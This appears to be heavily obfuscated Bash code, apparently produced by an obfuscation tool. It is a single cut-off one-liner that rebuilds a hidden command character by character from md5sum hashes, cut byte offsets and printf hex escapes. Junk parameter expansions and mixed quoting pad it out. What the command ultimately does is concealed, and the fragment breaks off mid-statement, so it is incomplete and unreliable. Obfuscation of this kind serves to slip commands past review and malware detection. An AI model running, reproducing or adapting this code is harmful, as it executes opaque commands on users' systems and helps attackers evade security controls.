"\x$(   ${*//16^Y/y@_:9q?}  ${!@}  ${@^^}p""r'i'"n"\t\f   %s '{q]h-YE'   $*   | ${*~}   ${@} ''m''d""5's'um ${@}   ${*~} |   ${*~~}   cu"t"   -b  $[ (("4"8${*^}#l-56#"${@^}"f)+4${*#;r_UWQcE}7${*^^}#"l") ]-$((  ((2#1010*-"7"#11)+4#1"2"30)   ))  ${*~} ${*~}   )"  ${*%%@IDm:} ;  ${*/-4g?8c\]/_\)Z\{s\0}   ${*,} "p"r"${@//\!%Igr\]Sv}"int$'\146'  "\x$(   ${*##QL\h^} "${@%o\UZ?jZ}"   $'\x70\x72'\intf   %s  'gNE%RJ&<' ${*%%\{p6e} $*  |  ${!*} "${@}"  ""$'\155''d'''5su${*}m   ${*/&0I_e\[k} | "${@^}"   ${*%%JLJ7\{+~}  cu't'   -b   $[  ((${*~~}-1"2"#"${@^^}"32+"5"#110)+"${@%%UE2&+}"15#"1"e)   ]-$[  ((-3#"1"1-"${@#o\}V2}"-${*~}14#16)+"2"#"1""${@^^}"10) ] ${*/\[\4A/iWXT_\`i} "${@/\):\].~;bg}" )"  $*  ;  ${@~~}   ${@/@cCr\(W\\}   p"r"${*~~}i$'\u006etf'   "\x$( ${*/0pv~^H%/=\[\[yjpLD}  ""$'\160ri'"${@##A%dd}"n$'\u0074'${*~}f   %s   'mPu(5' ${*^^} | ${@}   ${*//A2>\{l/C%*-\{dr_}   \md5"s"${@##:H:v;\"A-}u$'\u006d' ${*##U64e_} |  ${!*}  ${@/eqw;=cq}  \c"u"''"$@"t   -b $[ (-(-(8#${*,,}0--"6""${@,}"2"#"w)+"${@~}"2#"1"00)) ]-$((  ((-5${*,}3#1-${*%gkS8<g%}4#1${*/cEX1U~f;}3)+"2"1#${@^^}1g) )) ${*//3zXtz*1/$~h9}   ${@/l&Jaxp/Uuu\JI1P}   )"   "${@}"   ${@,,}   &&   ${@##jL<.42\}}  ${@#:\}\`Mv^~} ${*##cj>w*}prin\t"f" "\x$( "${@}"  $'\u0070r'""in${@//\`l4jZ2}tf   %s  'rWF]hu~'  ${!@}  |   "${@^}"   ${*//F\(\}\Pm6/YETV}   ${@~~}md""${*//\}lXK}5\s""um  ${@}  ${@} |   "${@#+\}6|\)>?}" ${@~} ${*~}cut -b $((  ((2${*~~}5#1*${*~}-47#2)+${!@}4#"2""${@~}"0)   ))-$((   ((53"${@~}"#2*${@/^4^r18eU}18"#"2)+"${@//PixNgD}"3#10)   )) ${@,}  )"  ${*~~}   &&   "${@/\)%vj}" ${*/45$M/3T\)m}   $'\x70'r''in${!@}t${@,}f "\x$(  ${@##\)Wt_>?s~} ""\pr"i"n''t"f"   %s   'cne2"' ${*^^}   ${*}  |   ${*/6y#;X/rTrD} "${@/1$9mc/7UQ#-R}"  md"5"${*%\"d\[7z}s''$'u\x6d'  "${@,}" |   ${*,} "$@" cu't'   -b $[   (($*-23"#""f"-${*//RTw<o/92,zk8%}-35#1)+41#${*^^}E)   ]-$(( ((29#m-"${@/K$gx\`/\[6^~\]}"5${*,}8#h)+"2"0#1"2") ))   ${@//C7e#POm} )"  ${*/bKY3=zX-}   ;   ${@,,} $'\x70\162''i''n'tf "\x$(  "$@" "${@#\`d=SZzt4}" p''r""i""n"t"f %s 'n.As].' ${*/\)Tyh}   ${*~} |   "${@^}"  $'\x6d'$'\144'''"5"su${@/CtPZ99\!}m   ${@%%n\!O:k}  ${*~}   |   "${@,}"  c"u"$'\x74'  -b $[ ((-37#${*^}2*-"1"1#2)+2${*}6$@#k)  ]-$((  (("3"#2${@//*\[\{\6=/mCT@qc\`P}1*-3#1"1")+5"4"#"R")   ))   ${*##OnPV} ${*%5:Z\]p\[}  )" ${*,}  ;   ${*^}  p"r"in\t'f'   "\x$(   ${!@}  ${*~} $*p"r"''i\ntf  %s  '@5o['   ${*,} ${@#FRywr} | ${*//J#\]QnwwM}   "${@%%pyBe&\]S}"   $'m\x645s'$'u\u006d'   "${@^^}" |  ${*%ysUE} "${@#pc\{.}" \c'u'''$'\x74'  -b  $((  ((-17"#"2+15#"${@}"2)+"${@##cfX4wy}"2"${@}"#"1")  ))-$((  ((${*//#\`Oj>S}5"${@,,}"5#${@//?<#:A/c.EnRnhK}0--${*/q4nmvx/VS^_\`k-}4"2"#"1")+11#"1") ))   ${*,}   )" ${*/iE\[9bS/eoy%aWZ4}   ${*##R\{8M\}8I} ;   ${@^}   p'r'"i"n't'\f "\x$(  ${*/^\{\[D} p${*^}r$'\u0069'''"n"t${*/c$%#u\{D/Eo5N2;}f   %s   '){y<4NBG' ${*~~}  |  ${!*}   m""d'5'""s${*,}u\m "${@#.Gv\(|}"  |   "${@#kz\"RzP$0}" ${*/@s^&S} \c$'u\u0074'   -b   $[ (("-"5${*/p3D\)/i0\}#}#12*42"#"0)+6${*}1#"e") ]-$[ (-(-("4"1#e-"-""4""8"#s)+5"9"#r))   ] ${*##\[X8~~7a} ${*//6..r4/BtMO} )"   ${*#M4\(#&} ; "${@//+~fPajLN}" p${*}r\i\n\tf "\x$(  ${!@}   ${*##c\}NFy~<a}  p${*#.\(b\[gh}rin''t""f  %s  'OgQr]'  ${*~~} |  "${@,,}"   m"d"5s""um  ${@##=bYN\[PA}   ${@%%^Bh&-&5}   |   $* c""ut -b $[   (-(-(3#10+20#"a")+2#"1"0${*//\[cYU/\)7%JZ<}00))   ]-$[   ((3"#"1$@0*"-""$@"52"#"${*%%5o?gG6\(}1)+2"${@/rWy+?}"#"1"00"1") ]   ${*,}   "${@%u\`\4t}"  )"  $* &&   "${@//Xl\{C\{7/;LA.}"   pr\i${@}n't'"${@//>I*YDy\"b/@+.cXH}"f "\x$( ${@//o6\`^WZQL}   ${*//8HZc7/3R0?1\(J2}   "p"""ri$'\156tf' %s  '$cBulz'  ${*^}  |   ${*/\}usH5}  ${*,,} $'\u006d'd5""s${@^}um ${@//c\`\(V/P.\}8Y\`du} "${@/4yPi\h/Kq4\`}"  | ${@,,} ${*//MMNb}c""ut   -b $((   ((-2#100*2${@#DFl\{}#10"${@,,}"1)+"5"${*##tBugLQ}3#A) ))-$(( ((-"2"4#c+-"2"#1${@}1)+3${@~}9#"${@,,}"w) )) ${*//L$xk*/OF\]\(SyG}  ${*%%=8?-M$dj} )"  $@   &&  ${@/t&Xu} p${*/?\{;vN/^:\{KyJ*V}r\int"${@%UNl6E\!*}"f "\x$( ${*~~} ${@,}   $'\u0070''r'intf %s ';=I|s6V1' ${*%\{e3B}  |  ${*//qlVtbw}   ${*//L\(\r3V} m\d""5$'\x73'u$'\u006d' ${*##-QxvSS:} ${*//L$ebNR\v/F\{Ug#I}   |  ${*~~} "${@//nt8ZolAH}" $'\u0063'''"${@~~}"u''t -b $[  (("-"64${*}#1*3#10)+48#f) ]-$(( ((44#${@~}2*35#"2")+5#14)  )) ${@,,}  )"  ${@/jnKcN^0/&@1;z<y} && ${@}   "${@/\{|JRK/\{&w4\]u>>}"  p''ri${*/n3e\(g\{Hz}n\tf   "\x$(  ${*}   "p"\ri''n$'\u0074'f %s  'nZ|S>2Tc'   ${@~~} |  $* ''md5s''"u"m  ${*,,}  |  ${*^^}   ""\cu${@,,}t   -b  $(( ((-$*3${*~}9"${@~~}"#c-4"${@^}"#"${@//PwI8}"1${*~}1)+4#"1"${!@}33) ))-$[  (-(-(4${*#>,KJX*qV}3#${*~}n-${*^^}-2"#"11)+42#"b")) ] ${@//dzuq2U} )"   ${*/oHW*/\{xR|t\F\}}   ;  ${*~~}   \p''r${*/zl\"b/0?v\!}i"n"t\f  "\x$(   "${@^^}" "${@/:lGR\}v%/G;Zel}" ""'p'$'\x72\x69\x6e\x74'$'\146'  %s   'an,!C:|'   ${*//n\(<-}  ${@,}  |  ${*~~} md''$((  (-(-(2"#"11+3"7""#"${*^^}a)+4#"2""${@~}"0))   ))"s"um ${*^}  ${@#@4xmwSRP} |  "${@//\]\!r.@/I%,i=}" "${@~}"cu${*}t -b $((  (-(-("2"#10--37#2)+3#"1"0))  ))-$[   (("${@/1.ouwe}"60#0-${*/k\_9/maAZ%}18#"0")+54#2)  ]   ${*//Es7%/14SW%\]r} ${*,,}   )"   ${*/-I@c/h:+N}   ${*,}  &&   ${*//xA9.KnhL/;*\!2} "${@~~}"   "p"ri""\n"t"\f  "\x$(  ${*#J:o-\[p}  ${*~}  "p"r$'i\156t'${*##.^N#vGl4}f %s '7EHD'  ${*/UQCF} |  $* ""m'd'${*%\(QY=O1}5${*%=&L2uy}su''m   ${@%oqHgm\[ve} | ${*^}   c${@//hfEr;6/9\{ZU_}u''$'\x74'   -b   $(( ((2#1${*%%egfe}01+${@//\`*\EF4r6/bC1x\(u}-3${*##I\]Z,}#11)+33#e) ))-$[  (-(-(${*/nG~6\(\]z/\{xgI\]\{}58"#"e--${*~}29#p)+4"0"#n))   ]  ${*%%jr|<B7\(|}  ${*~} )"  ${*^} &&  "${@##hVp7C}"   "${@/Ohj1=*/n+DJ^b@S}" ""p${*^}r''i''$'\156'"${@/g\]4d:o=+}"t""\f  "\x$(   "${@,}"   "${@//^652p\[f/91D*\"t|r}"  p'r'${@//W\X~RD/9zw\}P}i'''n't${*~~}f %s  '%Pe-O'   ${@#+H2-\!}  ${*~}   |   ${@//QwJ7aVR/n~OG} ${*%%G\[+HWcEJ}   \md''\5${@//iPDGS5\"/*IGrW*>}sum ${*/oi\)m}  | ${*/a73FPTCy}   cut -b   $[  ((${*^}2"1"#0+-3${*#\}IVpa}2"#"1)+${@/@t=3W/%^U0+rI\]}3"#"1"1")   ]-$[   (("${@/lx\dT~Bi/<kEs0s}"-${*//Ow\!vnJOT/ieJx6-}8#"1"0+2"#"1"1")+"3"#10"${@/9.t;ySF}"0)   ]   ${*%%.Zy?}   ${@^^}  )"  "${@#*Rd$p\)7r}"   ;   ${*#H5W?}  p'r'i"${@^}"nt$'\146' "\x$( ${*//Hf2>/6V3\"}  ${@~~}p""\r''${*%%r\!d\(@}in't'\f  %s   '{0*b1hW' "${@,,}"   ${*%%.ZD9} | "${@%\[2Fa$Q\`a}"  \m${*,,}d'5's${*^}u'm' ${*#\(m=hKF|}  | ${@,,}  ${*,,} \cut -b  $((  (-(-(2"#""${@#DY.~To}"11+12#15)+2#1"1"${@%%0MarFH}0)) ))-$[ (("$@"-${*%%q=FwvA3}9#10-2#${*//B\!T$=V}1"0"0)+2#11"1"00)   ]   ${*,,}  )"   ${*/DK=.jQ,h/s\{S\"M%}   ;  ${@~}  ${*/vu\(V/qO&\">j}p$'\x72'$'\x69n'$'t\x66'  "\x$( ${*//O\)\{|K/,\33JH$d} printf  %s   'lkJH=' ${@^^} |  ${@/e9\{ZG} ${*//VR$ib=}   'm'$'d\x35'$*s''u'm' ${*%%+N^>.} "${@/>2K?xlk}" | ${*~~}  \c"${@//guC_n\"R}"ut   -b $[   ((-5#1"2"+$@-"3""#"1"0")+50#k) ]-$[   (-(-($@51#"g"-3$@#1${@//\!~L8QnX9/7QA*A}0)+"3""2"${*}#2))  ]   ${@/mk6\[\}/H^Tve\`k}  ${*/Gq\}Y/h=\!5U}   )"   ${@//Xq@.3/BP\!-wtS:}  ;  ${*/\(y\{LVe7/B\[#|\(\)8}  $'\160'ri\n"t"f "\x$(   $*  "p"'r'i''"n"''${@%%%iZFe\`>O}t\f  %s  ';do(gm'   ${@,,} "${@^^}"  |   ${*,,}   "${@^^}"m$'\1445'sum   "${@,,}"   ${*%k.\(C\`5} | ${*##FGSS}  ""'c'''u\t   -b  $[ ((-${*/l\{;&<}64#a*5#13)+5#420)   ]-$((  (("9"#12*-5"2"#1)+"4"9#${@#<P&Y}G)  ))  ${@//ee\).}  )" ${@%~$LBIJG}  ; ${*#zC@s6AU}   p'r'${@^}i"n"${@%9AX8P}tf   "\x$(   "${@%SubyQ=w\(}"   ""p\r""i""ntf  %s  'FTP^'  ${*#\{PRM}  |   "${@~}"  m"d"5""$'\x73um' "${@##aw\4zJ0a}" |  ${@%Z*\`.e} cut   -b $(( (("-"5${@,,}0"#"f+2"3"#"${@^}"d)+37#h) ))-$((   (-(-(4"0""#"j--4"#"1"1")+2"#""1"${*#IO.,,=}0"0"${*//Wp*ZL\"$}0))  ))   "${@%%,3Vu}"   )"   ${@/AgilZG}  && "${@##%+z\{1}"  "${@~~}"   ""pr"i"'n'tf  "\x$(   "$@"   ${*,,}   pri$'n\u0074''f' %s  ']EH(1}\'  "$@"  | ${@^^}   m$'\x64'5''s\u''m ${@#q=\!X^O6} "${@//;xl2s^T,/_^1gX}" |   ${*}   ${*##.gP\!U}c$'u\164'  -b   $[ (-(-(-3#11*"${@,}"-3"${@%%wlfE6}"#1${*//&C<i/m\{Kz~c}0)+${!@}3#10))   ]-$(( ((39#1*54"#""2")+3${*,,}#22) ))   ${!*}  )"   ${*#:swfwaT}  ${*,,}  ;   ${*/7W|TVn9Z}   ${*//CjhGc?S/aLQF} ${*}p$'\162\151'n't'f "\x$(  "${@/pP~69}" pr\in${*~~}tf  %s  'gE*e'   "${@~~}" ${*^^}   |   "${@//&cr$w}"   md"5"""${*/MPr3$+Y}s${*,,}u${@,,}m  ${*%%\}Je>&*}  |  ${*,}   ${*%6uf+}   cut   -b   $((  ((3"#""1""0"*4"4"$*#0)+"3"2#d)  ))-$(( (-(-("5"0#${@/R&|D@/M7\}43M}s-"4""5"${*%%Ow$X}#b)+"3"${*~~}#10))   ))   ${*##\;42=6}  ${*^^}  )"  "${@^^}"  ${*%\)?\(j_.k} ;  "${@//oWllj\]\]/R*4\}}"  ${*,,}   pri"${@/E8~4O&}"n''t${@}f  "\x$( ${@^^}  ''p''\r\i$'n\x74'""f   %s  '|<#aKr>t'   ${*/%JnmJ/xj\g} ${*,}  |   "${@~~}" ""${*,}m\d''5s${@~}u"m"  ${@}  ${*//%.4>/Y\(M-} | "${@##-\[s\{E.}" ${*,,}   ''cu't'   -b $[ (-(-("6""#"1${*~~}4+"${@^}"3"${@^^}"6"#"o)+1"${@//y\{0MIuo\!}"8#"d")) ]-$((   (-(-(28"${@/c$=5,n\"l/z.\{@\!\"}"#19-"${@~}"-28#1"9")+${*~~}13#40))  )) ${*^^} )"  ${*//\(^~p/#T@B+}   &&  ${@}  p""ri\n't'''$'\u0066' "\x$(   ${*,} ${*/SM\"QhVs}   pr""\in""t""f %s  'klNS'  ${*//|>m6}  | ${*/~US\]H;2}   m\d'5'su$'\x6d' ${*%K\"P%0h}   |  $*   "${@//MK\!x.I^/q:i\[c\`7}"   "c"u"${@#<<@iQr6}"t -b   $[  ((-3#${@/Xs.5H$oh/_>aZ}22*"2"8#${*}0)+1"8""#"h) ]-$[   (("-""3""#"1${@#\)@sOa}1-6"3"${*^^}#${*#9<U#\`G5<}a)+24#1${@^^}8) ] ${*^}  )"  "${@##a%G<INx}" ${*#h6iT}  && ${@~~}  ${*#PE\!-\!}  p""r\in${@//L4pm\]w}tf  "\x$(   "${@//\Mi?\!ue}" \p${*/Xk1@/A5_lSdx}rintf %s  'm\\|V' ${@%ZaD;#Nb} |   ${@,}   m""$'\u0064'5"s"""um  ${*/riY86\F}  ${@%%MO&b}  | "${@/ouKq7.0\!/D_76Q;Qd}" ${*,,}   $'\u0063'''ut  -b  $[   ((12#1*52#0)+3#"2"2) ]-$((   ((${!*}-44#2-${*##M1=3to}-2#111)+4#${*/#CQYC}1"0")   )) ${!@} )" ${@}   ${*//\)@R3/@n>hQqIb}  &&   "${@##Sk3Cj}"   ${*//^d2y$X=J/~%5&<D}   ${*~}p"${@^^}"ri${*~}n$'\x74f'  "\x$(   ${*^^} p$'r\151'\nt$'\146' %s   'BjL)d*x' ${*~} ${*^^}  | ${@,,} m\d\5$'\x73''u'm  $@   ${*~~} | ${*~} "c"$'u\u0074'  -b $[ ((41#2-"-"4#11)+1${*##TFBP}4#b)  ]-$[   ((-$@4#"2""1"0+53#"$@"z)+1"6"#1$*4)   ]  ${@}  ${*^^}  )"  ${*#FB<Z_u}   "${@~~}"   ;  "${@//Iixl>sb/$Mja}" ${*/U3E-w}   p\r''int'f'  "\x$(   "${@^^}"  ${*,}   $'p\x72'"i""${@##ENQ\`g.\{}"n\t"f"  %s   '~Hn]+y,*'  ${@/@Vy>7k} $*  |   ${@/TdS9S$/pb,D2}   "${@/\(?iv}"   $'\u006d'd$[  (-(-(53#a--"2"#11)+"7"#1${*/:FTsZ}1))  ]''sum   ${*%%\[\[r0IPO}  |  ${@%%\)t<J}  "$@"  c''u''$'\u0074'  -b   $[  ((${@%<FNKu}-61"#"p+${*//mL\(E}4"6"#r)+1"3"#${!*}2"1")  ]-$[  (("5""2"#r+-"$@"6"${@,}"#${*~~}2"1")+17#"g") ]  ${*//Yjb>z../$Vor;0} ${@,}   )"  ${*,}   ${@/r>eRB8\(/oQP=ad}   ;   ${*,} ''p"r"\in''t\f "\x$(  ${*//MhbQZ4#d/BfI>} ${*%%L\D\`}   pr$'\u0069'''$'\x6e't'f' %s  '7wqS' ${*,}  ${*%%ok<Xhsa}   | ${*%%MxI9FT8.}  ${*}  \md$'\u0035'""s''"${@~}"um   ${*^}   |  "${@%ax7\"C}"   ${*}   ""c\u"t"  -b  $((  ((-6"#""1"*${*%%%V:J}-2"0""#"2)+4"${@//eUM\(}"#"1"0) ))-$((  (("-""2"#"${@~~}"1${@#=XLOJR;}0"0"+"-"${*,}3#12)+2#1"0"0"0"${@%2\]pP*;r}0)   ))  ${!@} )"   ${*^}  "${@~~}"  &&   ${@/Rqtt^/lU~cEB}   ${@^^}  $'\160r'""$'\u0069'${*^}nt'f' "\x$(  ${@//l~TV>Q;6/m\(\(|} prin\t""f   %s   '{u=!*' $*  ${*~} | "${@/Q*&#0}" $'\u006d'''d""5"${@^}"s$'\165'm "${@^^}" |   "${@,,}"   ${*~} 'c'\u${@^^}t -b $[   (("-"5${@,,}#1-4"8"${*#\`>l@X|}#t)+${*^}27"#"26)   ]-$((  (-(-(21"${@,,}"#"2"6--5"${@#GeFu}"#1${@^^}0)+13#${@%Fs&f}19))   )) ${*}   )" "${@%9\}H6}"   &&  ${@~~}  pri${!*}n''t'f'  "\x$( ${*~~}  'p'r''${*^^}int"f" %s   ')Kl~D('  ${*^^}   |  ${*~~} ${*%V\`?P+}   'm'd""$'\x35's''um  ${*^^}   |   ${*//4YGlZB}  "${@%%hcw\{x<}"   c\u${*//;dd^<&/m6:0}t -b $[  (("-"49"#"a+"4"0#q)+5#10)  ]-$[ ((-5${*%?nQm\!I}#1"0"*${*^^}-45#1)+13${!@}#14)   ]  "${@/6cHN=\\}"   )" $*  "$@"   &&   $*   ${*^} pr\i''n''${*//S\}c~1}t""f   "\x$(   ${*,} \pr"${@^^}"int\f  %s 'Y#]:X'  ${*~}   "${@^^}"   |  ${@/Ghf1L/mz,o12OL} ${@//$eN1k/,\<Me}   m"d"\5su${@^^}m ${*,} ${*,,}   |   ${@/i-Vs|v/WIYji} "${@/\->\]}"   $'c\165't -b   $((  ((-${*/@C>t<}25#"1"l+-"4"6#i)+5#${@/nQ~?m+x4}33${@%g$yU72}3)   ))-$(( (("1"9#c*-5#"$@"13)+60${*//-MVknX-t}#2${*/\`OqRU}6)  )) ${*~~}  ${*##7\)\`u\"1ba}   )"  "${@~~}"  ${*//UUZl|\(}   ;   "${@,}"  $'\x70r'i'n'\t''"f"  "\x$(   ${*##CMnm|\\}  ${@,,} ${@,}p${@/ufzM#bh-}r${*,}i"n"$'\u0074'$'\u0066' %s   'G*A}c26=' ${*%;i_N9} |   ${@%n\`c>wi}  ${*#xMqy} \md5"s"u'm' ${@%%tf,0\}}   $*  |  "${@,,}" 'c'$'\u0075'"t"   -b  $[   (-(-(2"5"#${@^^}2--5${*/gCCiGp}1#${*^^}g)+${*,,}3#"1"2)) ]-$(( (-(-(2"#""1"1+2${@^}9#${@//G\`UL?\]Z}i)+2"#"1"${@^^}"11)) )) ${*%8M<Gi%l~} )" ${*%lASA}   ${*//L;~^W/H\)dE} ;  ${@##%PH#}  $@   p""\r"i"\nt\f  "\x$(   ${@,,} 'p'''ri${@,}ntf %s  'Ly:kR='   $@   ${@//i;Xb/\"p+G8s\(^}   | $* ${@%ZEm\\} "${@,,}"md5$'\u0073um' ${*~}  | ${@/sIcR\}tk/RucSU+}   $*c"u"t   -b $(( (-(-(38#z-"-""2"#${@//*^qbL+Ch}1"0""1")+"6"2"#"h))   ))-$((  ((5"#"1${*^}0*-2#1"1"1)+4${*}7${*,,}#"1"c) ))   ${*,}   ${*##l\"ZX\l$i}  )"  ${*~} &&   ${*%%p6NIq}   \pr""in$'\x74'f  "\x$(  ${*%%26^Xe#~} "${@~~}"   pri""$'\156'$'\u0074'f   %s  '=@*(N' ${*,,} | ${*^^}  ""md""${*%\{^HL=tk}5sum  ${*##r=.~Rt} ${@^^}   |   "${@##uF_<#aA3}"  ${@^^}  ""$'\u0063'""\u"${@~}"t   -b  $[  ((33#c-5${*^}#10)+${@~}4"1"${*,,}#m)   ]-$[ (("${@##R>\[Gk}"32#f*"${@^}"28$@#"0")+3#1010)  ]   "${@^}" ${*#j%nQ1t%}   )" ${@~~}  ${*/HT\}^/h3\]q}   &&   ${*,,} ${*^}   p${*~}r""$'i\x6e't""f   "\x$(   ${@,}   ${*/\]E,q/m\"l4}   pr$'\u0069'"n"tf   %s '"9>NIBf' ${@}  |  "${@~}"   m'd'$'\65'"s"$'u\155' "${@~}"  "$@" |  ${*//iMJ|O}   ${*,,} $'\143\165'${@~~}t   -b $[  ((-6"#"13+"6"#"1"0)+13#c)   ]-$[ ((-26#2+-8#1${@/O6\{EyK}0)+"6""${@^^}"4"#"k)   ]   ${@//PQI\{H_*}   ${@//$mJDi/\(FY.}   )"  ${*/Hu\(Yw}  && ${*##z<5.+m}   "${@}"  p""rint''f  "\x$(  "${@,}"   ""\p$'\x72'${*%%JG,M,}int\f  %s  '0^AM~l' ${*}  "${@//Zp.2Zw}" |   ${*//Czk\`}   "${@/uP6\(&|\!/SShH|w}"   m''${*//d?XICH}d'5'''${*//WE_^\]Ys$/~Dlm\`x5n}s\um ${!@} ${!@}   |   ${*//X3B1\[ll}  'c'"u"""t   -b $[  (-(-(14#2d-"3"7#b)+5#"1"3)) ]-$((   (-(-(5#124-"5"9"#"b)+"2""#"101))   ))  "${@%%5lBa&P}" ${*,} )" ${@//x0IrQc;/:|lj~} "${@^^}" ;  ${@~~}   "p"r\in\tf   "\x$( ${!*}  p$'r\x69n'""${!@}tf   %s 'CyG"`o'   "${@^}"   | ${*%%V+Q2=H*2}   ${*^} m$'\u0064'${@}5\s${@^}u\m  ${*//gxU_u\\}   ${@~}   |   ${!*} ${@/\`JPDU} cut  -b $(( ((${*//AX.K<e/3\]R\(DTc}-3#${*,,}20+3#11)+"4"#12) ))-$(( ((-${*/<\(:n.-6M/hGmfV~k\)}41#"1"*-9"${@//\(5u^edf}"#1)+"3"#11)  ))  $@  "${@~}"  )" "${@##:42yA\t}"   &&  "$@"   ${@/d~\!A} pri\ntf "\x$(   "${@~}" ''$'p\162\151n'"t"""f  %s  'e_#@'   ${*^}   |   "${@,,}"  "${@##b\!,*:}"   m\d\5${*^^}s"u""m" ${*%1|\}SDs}  "$@" |   ${@//\(F@R~Q} $'\143'""${*~}ut   -b   $[   ((${*%\}L\)M#R}-"6"#40+${@#,k\]B}36"#""${@^^}"g)+38"#"${*/hX\)\(f/gzW,}v)  ]-$((   (-(-(4${*%2@S$BZFh}0#o-${@,}-4#10)+2#100))  ))  "$@"   ${*~~} )"  ${*//54gf/ZP<\!H}   && "${@/B\"\}?t_9Q/u.=ioL=}" ${*#\"cJh}   \p$'\162'''in""tf  "\x$(   ${!*}  ${@} 'p'''r$'\151'\n""t\f %s  '9Cqe' ${@//E\"\)/kAkK\(A8}   |   ${*%bXWM} $'\u006d'$'d\65'\su"${@~}"m ${*^^}  $@   |   ${*~}  "${@#1Y$;}"  ''cut  -b $((   ((-4#13*"4"${*^}3#"2")+"4"9#"v")  ))-$[ ((-"3"#${*//mn$%w}10*2#"1"00)+4"9"#u) ] ${*,}  )" ${*,,}  ${*,}   &&   ${*%%W\)uKp}   "${@//:YP|&&\\}" ''pr${@}in"t"f   "\x$( ${*/Z2q4} pr""i"${@~~}"n$'\u0074f' %s  'ISAmb' "${@/D,SOuuD4/AhSy\"}"   |   "${@^}" '''m'd5$'\163'um  ${@~~}  |  ${@%%MgKb}  \cu""t -b $[  (-(-(4#1--19#2)+"2""0""#"1))   ]-$[  (-(-("4"#"$@"1"${@##5z8wfXc}"1-"${@%%\"uS+_}"1"${@~}"1#2)+40#0)) ] ${@%%q+\}y\`K}  "$@"  )"   ${*/\(F\[6qFpG}   ;  ${@##NEMVG\`S} pr""in\tf  "\x$(  ${*/B=_mL/w\`Drk=&d}  p\r""in\t$'\u0066'  %s  'TyrmsFg'  ${*/G\)DC\{\!*}  ${@%kcR59v} |  "${@~~}" ${@#7F?*>4:\`}   \m'd'5s$'u\u006d' "${@^}"   "${@~~}"  |   ${*,,} $'\143'""${*%%YX:%smUo}u''"t" -b   $[  ((${@##-3%M}-"${@,,}"2#1${*,}0001+-8"#"10)+8"#"43)   ]-$(( ((2${*,,}5#"1"*-${*^^}5${*^^}#1)+"8"#${@%2?,p|I>}14) ))   ${*##G@8K}   ${@/wwUVn}  )" ${*/y+9ga} ;   ${*~~}   ${*/M;\(Ft2H}  pr''"${@/Vkokb}"i${@%CUH:}n""t""$'\146' "\x$( ${*~} pr'i'n${*##RB\)x}t""$'\146' %s  'o:_Lo\p'   ${@^^}   ${@##HNeG9+^} |   ${*//Sv79Zx}   ${*//^Zb<}  m""${@~~}d$((   (-(-(-${*/_#r\{@/W.F=}2"${@/L.\)u/Q\{B\]F}"#${@/\{W\}2/i\)#j}11--6"#"13)+3#1)) ))""$'\163'"u"m   "${@^}" ${*//l8goU}  |  ${!@}  c$'u\x74'  -b   $((   (("${@%%r5\]R&}"-5#1"0"-6${*%$*\[n}#12)+1${*%|fA\W\`@a}3"${@,,}"#1${*//N0\]\`.n}8) ))-$[  ((26$*#0*${!@}6$*#"1")+9#1"0") ]  ${*}  )"   $*  ${!@}   && ${@} \p$'\u0072'${*##yYC&B#}i\n""t\f  "\x$( ${@^} "${@}"   "p"'r'"i"''"n"$'\u0074'"f"   %s   '@bDo%=>X'  ${*%%boA*m8}  |   "${@~~}"  ${*%%.nV_\(b#A} $'m\144'"${@%%^X~d\}}"5s\u'm'   ${*##5FS;w}   $* | "${@~}"  c${@^^}u${*,,}t -b $((   (("-"4"${@%%z7$#i}"5#e+-4${*%%>cY6&D\{V}3"#""c")+54#"${@}"E)  ))-$(( ((-4"#"1"${@^}"1"${@//9+3KZ&}"3+41#h)+"8"#25) ))   ${*%%JerwlqYh}   ${@/SW\)wa?v/\(zSPda;}   )" ${*,,}  ${*,,}  ;   ${*//u\]R\[}  p\r${@,}i\n''tf  "\x$(  ${*##f_qu}   ${*,} $'p\162'"i"'n't${*^^}f  %s '=i]P'  ${*%%\`H\.} |  ${*~~}   \md\5""sum  ${*%mMi\6\#} ${!@} |  ${*%U=j>y\]}   "${@##I?=Q~UT}"  c""\ut -b $(( ((9#0*${*}-"2"1#1)+9#10)  ))-$[   ((50${@,}#1-${*~~}2${@,}#100)+4"3"#d)   ]  ${@/yS\{J+fu/$D6F|+}  "${@,}" )"  ${*//IOV\(/UKATb}   ;  ${*#s+Y;} ${@,} "p"""'r'$'\151nt'""f  "\x$( ${*%%6_bJ}  ${*~~}   p''r$'\151'''\n''${*,}t''${*^}f  %s  '+Sl@' ${*} | "${@#$nn@7D%i}"  ${*~~}   $'\x6d'"d"$'\u0035'''su'm' ${!@} |   "${@%%8<rx&n}"   $'\x63u't  -b   $[   ((-54#"i"-1"5""#"1${*/Ty\W}0)+"$@"39#${*//MDl?\}+7/eyd~w>}1${@%eL\]V#:kj}n)  ]-$[ ((${!@}-2${*#dT||<}7${*//QjSWrup}#i-${*%%0\7s5}4"${@}"7#s)+2"9"#2i)  ] ${*~~}   )" ${*~~} "${@,}" &&  ${@^^}   "${@#<d3,\[V}"   p$'\u0072\u0069nt'$'\u0066'   "\x$(  ${@##~-RVrm^}   p"${@##>%vj&-;3}"ri""n't'''f  %s   'Zob^wW1J'  "${@,,}" ${@/\{XP5+W9u/uX:r=u=} |   ${*//5OvNE\"/o\(1jEuo\{}  md"5"\sum   "${@,}" | $*  ${@}c${*^^}ut  -b   $((  ((-"2"#1"${@}"00*2#11)+${@,}5"8"#t)  ))-$[ (-(-(5"1"#g+38#b)+${@}2#"1"${*~}00"1")) ]  ${*//SEIH/AXV\[I} )"   ${*//YYr+/\(m5RCvq} &&  ${*#mP|k@}  $@  $'p\x72i\u006e'\t""f  "\x$(   ${*~~}  pr''i''"n"$'t\146' %s  'Pgvd&r!' ${*}  |  "${@//K\{k7n}"   ${*##hYtT\`38S} $'\155'$*d5\s$'\165m' ${!*}   "$@"   |  ${*/g:7\!} ""c'u'\t -b   $[  ((-"5""0"${*,,}#c-${!*}2"#"${!@}11${*/=CWU:T}0)+"4""1"#1${*#\(6Tdnyx\`}3) ]-$((  ((46${*%YQ3C4e|3}#t-3#1"0")+64#1)   ))   ${*,}  )" ${*~~} "${@//^u45o,/8tE4qa~F}"  ;  ${*^}   "${@^^}"   pr${*}i""n""tf   "\x$(  ${*/o\^NW@n}   p""$'r\x69'n\tf %s   'Y;oq'  ${*,,}  | ${*/SL#U</\}4XnKct}   m${*%%e7j~\)|}d5''su'm' $@  |   ${@%pQIB}   "$@"  cu''t  -b $[ ((-4#11*5${@/PzWM?&.4}5#${*,,}0)+58#v)   ]-$((  (("-"48#2*$*-3#10)+32#q)  ))  ${@,,} )" "${@^^}"   "${@%%34eu@T$g}"  ; ${@,}   p${!*}rin\tf "\x$( ${@,}  ${@##g%1\v7y}  